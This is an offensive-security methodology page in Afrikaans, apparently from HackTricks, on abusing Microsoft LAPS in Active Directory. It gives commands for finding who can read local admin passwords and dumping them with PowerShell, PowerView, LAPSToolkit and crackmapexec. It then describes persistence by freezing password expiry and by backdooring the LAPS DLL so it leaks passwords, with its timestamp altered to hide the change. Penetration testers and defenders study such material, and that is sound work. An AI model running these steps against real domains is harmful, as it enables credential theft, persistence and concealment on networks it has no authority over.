hacktricks/windows-hardening/active-directory-methodology/laps.md
2024-02-11 02:07:06 +00:00

9.2 KiB

LAPS

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Basiese Inligting

Local Administrator Password Solution (LAPS) is 'n hulpmiddel wat gebruik word om 'n stelsel te bestuur waar administrateur wagwoorde, wat uniek, willekeurig en gereeld verander, op domein-gekoppelde rekenaars toegepas word. Hierdie wagwoorde word veilig binne Active Directory gestoor en is slegs toeganklik vir gebruikers wat toestemming gekry het deur middel van Toegangsbeheerlyste (ACL's). Die veiligheid van die wagwoord-oordragte van die kliënt na die bediener word verseker deur die gebruik van Kerberos-weergawe 5 en Advanced Encryption Standard (AES).

In die domein se rekenaarobjekte lei die implementering van LAPS tot die byvoeging van twee nuwe eienskappe: ms-mcs-AdmPwd en ms-mcs-AdmPwdExpirationTime. Hierdie eienskappe stoor onderskeidelik die plat-teks administrateur wagwoord en sy vervaltyd.

Kontroleer of geaktiveer

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname

LAPS-wagwoordtoegang

Jy kan die rou LAPS-beleid aflaai vanaf \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol en dan die Parse-PolFile van die GPRegistryPolicyParser pakkie gebruik om hierdie lêer na 'n mens-leesbare formaat te omskep.

Verder kan die inheemse LAPS PowerShell-opdragte gebruik word as hulle geïnstalleer is op 'n masjien waarop ons toegang het:

Get-Command *AdmPwd*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Find-AdmPwdExtendedRights                          5.0.0.0    AdmPwd.PS
Cmdlet          Get-AdmPwdPassword                                 5.0.0.0    AdmPwd.PS
Cmdlet          Reset-AdmPwdPassword                               5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdAuditing                                 5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdComputerSelfPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdReadPasswordPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdResetPasswordPermission                  5.0.0.0    AdmPwd.PS
Cmdlet          Update-AdmPwdADSchema                              5.0.0.0    AdmPwd.PS

# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl

# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

PowerView kan ook gebruik word om uit te vind wie die wagwoord kan lees en dit kan lees:

# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd

LAPSToolkit

Die LAPSToolkit fasiliteer die opname van LAPS met verskeie funksies.
Een daarvan is die ontleding van ExtendedRights vir alle rekenaars met LAPS geaktiveer. Dit sal groepe spesifiek wys wat gemagtig is om LAPS-wagwoorde te lees, wat dikwels gebruikers in beskermde groepe is.
'n Rekening wat 'n rekenaar by 'n domein gevoeg het, ontvang All Extended Rights oor daardie gasheer, en hierdie reg gee die rekening die vermoë om wagwoorde te lees. Opname kan 'n gebruikersrekening toon wat die LAPS-wagwoord op 'n gasheer kan lees. Dit kan ons help om spesifieke AD-gebruikers te teiken wat LAPS-wagwoorde kan lees.

# Get groups that can read passwords
Find-LAPSDelegatedGroups

OrgUnit                                           Delegated Groups
-------                                           ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL           DOMAIN_NAME\LAPS Admin

# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName                Identity                    Reason
------------                --------                    ------
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\LAPS Admins     Delegated

# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName                Password       Expiration
------------                --------       ----------
DC01.DOMAIN_NAME.LOCAL      j&gR+A(s976Rf% 12/10/2022 13:24:41

Dumping LAPS-wagwoorde met Crackmapexec

As daar geen toegang tot 'n PowerShell is nie, kan jy hierdie voorreg op afstand misbruik deur LDAP te gebruik deur middel van die volgende stappe:

crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps

Hierdie sal al die wagwoorde wat die gebruiker kan lees, dump, sodat jy 'n beter voetsool kan kry met 'n ander gebruiker.

LAPS Volharding

Vervaldatum

Sodra jy admin is, is dit moontlik om die wagwoorde te verkry en te voorkom dat 'n masjien sy wagwoord opdateer deur die vervaldatum in die toekoms in te stel.

# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime

# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}

{% hint style="warning" %} Die wagwoord sal steeds gereset word as 'n admin die Reset-AdmPwdPassword cmdlet gebruik; of as Moenie toelaat dat wagwoord vervaltyd langer as vereis deur beleid geaktiveer is in die LAPS GPO. {% endhint %}

Agterdeur

Die oorspronklike bronkode vir LAPS kan hier gevind word, daarom is dit moontlik om 'n agterdeur in die kode te plaas (binne die Get-AdmPwdPassword metode in Main/AdmPwd.PS/Main.cs byvoorbeeld) wat op een of ander manier nuwe wagwoorde sal uitlek of elders stoor.

Kompilleer dan net die nuwe AdmPwd.PS.dll en laai dit op na die masjien in C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll (en verander die wysigingstyd).

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!